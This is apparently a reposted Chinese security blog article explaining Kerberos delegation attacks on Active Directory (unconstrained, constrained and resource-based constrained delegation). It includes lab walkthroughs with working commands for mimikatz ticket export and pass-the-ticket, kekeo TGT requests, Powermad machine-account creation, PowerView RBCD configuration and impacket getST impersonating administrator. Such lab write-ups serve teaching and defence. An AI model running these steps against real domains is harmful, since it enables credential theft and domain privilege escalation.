浅谈约束委派攻击
2023-7-29 18:19:0 Author: xz.aliyun.com(查看原文) 阅读量:10 收藏

首先了解一下什么是委派,委派即委托安排,我把这件事委托给你做了。域委派是指将域内用户的权限委派给服务账号,使得服务账号能以用户的权限在域内展开活动

为什么域委派

比如现在有web服务器和文件服务器,当用户A访问web服务器去请求某个资源时,web服务器上本身并没有该资源,所以web服务器就会从文件服务器上调用这个资源,其中发生的过程若以域委派的形式进行,那么就是:
用户A访问web服务器,服务器再以用户A的身份去访问文件服务器。

域委派的用户

在域内的可以委派的账户有两种:

一种是主机账户,活动目录中的computers组内的计算机,也被称为机器账号。如下图:

另一种是用 setspn手动添加的服务账户。简单来说,服务账号,域内用户的一种类型,服务器运行服务时所用的账号,将服务运行起来并加入域。例如MS SQL Server在安装时,会在域内自动注册服务账号SqlServiceAccount,这类账号不能用于交互式登录,也就是说无法通过SqlServiceAccount来通过3389进行rdp登录

域委派流程

跟kerberos认证类似(借用师傅图片简要看一下):

  1. 域内用户 jack 以 Kerberos 方式认证后访问 Web 服务器;
  2. Web服务以websvc服务账号运行,websvc向KDC发起jack用户的票据申请;
  3. KDC检查websvc用户的委派属性,如果被设置,则返回jack用户的可转发票据 TGT;
  4. websvc收到jack用户TGT后,使用该票据向KDC申请访问文件服务器的服务票据ST;
  5. KDC检查websvc的委派属性,如果被设置,且申请的文件服务在允许的列表清单中,则返回一个jack用户访问文件服务的授权票据 ST;
  6. websvc收到的jack用户的授权票据ST后,可访问文件服务,完成多跳认证。

原理

用户B想访问服务A,于是向KDC提交认证,KDC发现A是非约束性委派,会把TGT放在ST中一并给用户B。然后用户B用这个ST去访问服务A,服务A就相当于获得了用户B的TGT,把TGT放入lsass进程,然后就可以拿着用户B的TGT以用户B的身份去访问该用户权限能够访问的服务了

实验

1、使用adfind查找非约束委派的主机和用户

不知道为啥必须powershell 运行:

Adfind 下载地址:https://www.softpedia.com/get/Programming/Other-Programming-Files/AdFind.shtml

查询非约束委派的主机:
AdFind.exe -b "DC=Sentiment,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
查询非约束委派的用户:
AdFind.exe -b "DC=Sentiemnt,DC=com" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName

这个其实本身是没有Win16的,图是我后来截的所以加上了


如果没有该主机的话需要进行第二部,开启委派服务

2、用命令注册服务账号

setspn -U -A 服务名称/主机名.域名 域账号
setspn -U -A abc/sentiment.com admin       #其实是win16主机,只是当时注册时将用户名改成admin了。。。

#删除
setspn -D abc/sentiment.com admin

3、这里以Win16域用户为例,先设置“信任委派服务”


对Win16主机账号开启了委派属性,若我们拿下Win16这台机器,当域控访问了该机器就可以进行攻击

4、当 Win16 机器上设置了非约束委派。使用 域控去登录 Win16 ,可在 Win16 上留存票据凭证,然后需要让域控模拟访问被设置了非约束委派的机器:

Enter-PSSession -ComputerName Win16

5、域控模拟访问被设置了约束委派的机器后,这个时候其实域管理员的 TGT 已经缓存在 Win16 机器上了。
清理票据缓存:

6、提权,导出票据

privilege::debug 
sekurlsa::tickets /export

7、通过 pttTGT 注入到当前会话中

此时发现导出的两个域控的TGT

导入其中任意一个

kerberos::ptt [0;1b4a8b][email protected]

此时成功执行:

dir \\win2012.sentiment.com\c$

非约束性委派配合 Spooler打印机服务

在实战中,只是单纯的非约束委派话需要管理员主动连接比较鸡肋。因此可以利用非约束委派 + Spooler打印机服务可以强制指定的主机进行连接。

传送门——> 利用非约束性委派+Spooler打印机服务 制作黄金票据攻击域控

由于非约束委派的不安全性,微软在windows server 2003中引入了约束委派,对Kerberos协议进行了拓展,引入了S4U,其中S4U支持两个子协议:Service for User to Self (S4U2Self)和Service for User to Proxy (S4U2proxy),这两个扩展都允许服务代表用户从KDC请求票证。S4U2self可以代表自身请求针对其自身的Kerberos服务票据(ST);S4U2proxy可以以用户的名义请求其它服务的ST,约束委派就是限制了S4U2proxy扩展的范围。

不同于允许委派所有服务的⾮约束委派,约束委派的⽬的是在模拟⽤户的同时,限制委派机器/帐户对特定服务的访问。

委派流程

大致流程

user访问service1,向DC发起kerberos认证,域控返回user的TGT和ST1票据,user使用ST1票据对service1进行访问;如果配置了service1到service2的约束委派,则service1能使用S4U2Proxy协议将用户发给自己的可转发的ST1票据以用户的身份发给DC;DC返回service1一个用来访问service2的ST2票据,这样service1就能以用户的身份对service2发起访问。

S4U2Self和S4U2proxy的请求过程:

流程描述

S4U2self:

1. 用户向service1发出请求。用户已通过身份验证,但service1没有用户的授权数据。通常,这是由于身份验证是通过Kerberos以外的其他方式验证的。

 2. 通过S4U2self扩展以用户的名义向KDC请求用于访问service1的ST1。

 3. KDC返回给Service1一个用于用户验证Service1的ST1,该ST1可能包含用户的授权数据

 4. service1可以使用ST中的授权数据来满足用户的请求,然后响应用户

注:尽管S4U2self service1提供有关用户的信息,但S4U2self不允许service1代表用户发出其他服务的请求,这时候就轮到S4U2proxy发挥作用了

S4U2proxy:

5. 用户向service1发出请求,service1需要以用户身份访问service2上的资源。

 6. service1以用户的名义向KDC请求用户访问service2的ST2

 7. 如果请求中包含PAC,则KDC通过检查PAC的签名数据来验证PAC ,如果PAC有效或不存在,则KDC返回ST2给service1,但存储在ST2的cname和crealm字段中的客户端身份是用户的身份,而不是service1的身份。

 8. service1使用ST2以用户的名义向service2发送请求,并判定用户已由KDC进行身份验证

 9. service2响应步骤8的请求。

10. service1响应用户对步骤5中的请求。

原理

由于服务用户只能获取某个用户(或主机)的服务的ST1而非TGT , 所以只能模拟用户访问特定的服务 ;但是如果能够拿到约束委派用户(或主机)的明文密码或hash,那么就可以伪造S4U的请求,伪装成服务用户以任意用户的权限申请访问指定服务的ST2

此外,我们不仅可以访问约束委派配置中用户可以模拟的服务,还可以访问使用与模拟帐户权限允许的任何服务。 (因为未检查SPN,只检查权限)。 比如,如果我们能够访问CIFS服务,那么同样有权限访问HOST服务。注意如果我们有权限访问到DC的LDAP服务,则有足够的权限去执行DCSync.

环境配置

1、用命令注册服务账号(前边已经注册过了)

setspn -U -A 服务名称/主机名.域名 域账号
setspn -U -A abc/sentiment.com admin

#删除
setspn -D abc/sentiment.com admin

#查看
setspn -L admin

注册好后在属性中,就有了委派这个属性选项

2、配置服务账号

点击委派——使用任意身份验证协议——添加

3、添加服务

点击添加后,选择"用户或计算机",属于域控名后,点击"检查"、"确定"。

之后弹出的选择服务框,选择"cifs服务"(根据需求自行选择),至此委派攻击的环境配置完成

实验

1、使⽤ Adfind 查询约束委派的用户(无需管理员权限)

#查询约束委派用户
AdFind.exe -h 192.168.52.163 -u admin -up admin -b "DC=sentiment,DC=com" -f " (&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

#查询约束委派主机
AdFind.exe -h 192.168.52.163 -u admin -up admin -b "DC=sentiment,DC=com" -f " (&(samAccountType=805306369)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

2、利⽤ kekeo 请求设置了约束委派属性的服务账号的 TGT

kekeo地址:GitHub - gentilkiwi/kekeo

kekeo "tgt::ask /user:admin /password:admin /domain:sentiment.com /ticket:administrator.kirbi" "exit"
/user: 服务⽤户的⽤户名
/password: 服务⽤户的明⽂密码
/domain: 所在域名
/ticket: 指定票据名称

kekeo "tgt::ask /user:admin /NTLM:XXXXX /domain:test.lab" #若知道目标hash也可用这个

3、 利用TGT通过伪造S4U请求以administrator身份访问admin的ST

4、 使用mimikatz导入凭据

简介

基于资源的约束性委派 (RBCD:Resource Based Constrained Delegation):为了使⽤户/资源更加独⽴,微软在Windows Server 2012中引⼊了基于资源的约束性委派。基于资源的约束委派不需要域管理员权限去设置,⽽把设置属性的权限赋予给了机器⾃身。

配置了基于资源约束委派的账户,其中有一个属性 msDS-AllowedToActOnBehalfOfOtherIdentity ,它的值为被允许基于资源约束性委派的账号的SID。

只有 Windows Server 2012 和 Windows Server 2012 R2 及以上的域控制器才有 msDS-AllowedToActOnBehalfOfOtherIdentity 这个属性

原理

在大型域环境中,将机器加入到域环境中一般不会用域管权限,而是用一个专门加域的域用户(例如下边实验中的test的用户)。那么当我们拿下该域用户的账号密码时,就可以把通过该域用户加入到域里的所有机器都拿下。

环境配置

使用普通域用户test将计算机加入到域环境中

默认情况下,并非只有域管理员才有将普通用户加入域的权限。域中每一个普通帐号都有将10台电脑加入域的权限。

新建一个加域的普通域用户test

将之前加入域的计算机退出域,然后再修改计算机名 (因为域中已经有了一个Win08用户,所以要修改一下计算机名),再加入域,输入新建的域账号test


可以通过adsiedit.msc命令查看域属性,在打开的ADSI编辑器右击-“连接到”-点击确定,右键 “DC=xxx DC="com" 单击“属性”,ms-DS-MachineAccountQuota属性值为10,说明了一个普通的域用户可以将10台主机加入到域

实验

通过查看 "net localgroup administrators" 可知道test并不在本都管理员组中,就可以通过test域用户提权到administrator


1、通过ADfind 查询每个域机器是由哪个域⽤户添加进域的(后来改成win08-pc了)

通过 mS-DS-CreatorSID 查看test域⽤户的 sid(S-1-5-21-3309884803-1761721320-3729358562-1126)

AdFind.exe -h 192.168.52.163 -u test -up admin -b "DC=sentiment,DC=com" -f "objectClass=computer" mS-DS-CreatorSID


2、也可查询sid对应的机器用户

wmic useraccount get /all | findstr  S-1-5-21-3309884803-1761721320-3729358562-1126 > 2.txt


3、利⽤ powermad 添加机器账户

因为需要⽤机器⽤户去申请票据,而在真实环境中win08-pc的test用户的密码我们是不知道的,所以就需要添加一个用户来代替test去申请票据

添加一个sentiment机器用户,密码为123456

powershell
Set-ExecutionPolicy Bypass -Scope Process
import-module .\Powermad.ps1
New-MachineAccount -MachineAccount sentiment -Password $(ConvertTo-SecureString "123456" -AsPlainText -Force)

可以通过net group "domain computers" /domain命令查看

4、查看sentiment用户的sid

S-1-5-21-3309884803-1761721320-3729358562-1129

5、PowerView配置sentiment到Win08-pc的资源委派

powershell
Set-ExecutionPolicy Bypass -Scope Process
import-module .\powerview.ps1
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3309884803-1761721320-3729358562-1129)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer Win08-pc| Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

也可拼接成一条命令

Set-ExecutionPolicy Bypass -Scope Process;import-module .\powerview.ps1;$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3309884803-1761721320-3729358562-1129)";$SDBytes = New-Object byte[] ($SD.BinaryLength);$SD.GetBinaryForm($SDBytes, 0);Get-DomainComputer Win08-pc| Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

验证是否成功

Get-DomainComputer Win08-pc -Properties msds-allowedtoactonbehalfofotheridentity

若想清除msds-allowedtoactonbehalfofotheridentity的值,可用:

Set-DomainObject Win08-pc -Clear 'msds-allowedtoactonbehalfofotheridentity' -Verbose

6、getST生成票据

python getST.py -dc-ip 192.168.52.163 sentiment.com/sentiment\$:123456 -spn cifs/Win08-pc.sentiment1.com -impersonate administrator

7、导入票据

mimikatz "kerberos::ptc administrator.ccache"

注入成功后,即可访问到通过test加入域的用户


文章来源: https://xz.aliyun.com/t/12743
如有侵权请联系:admin#unsafe.sh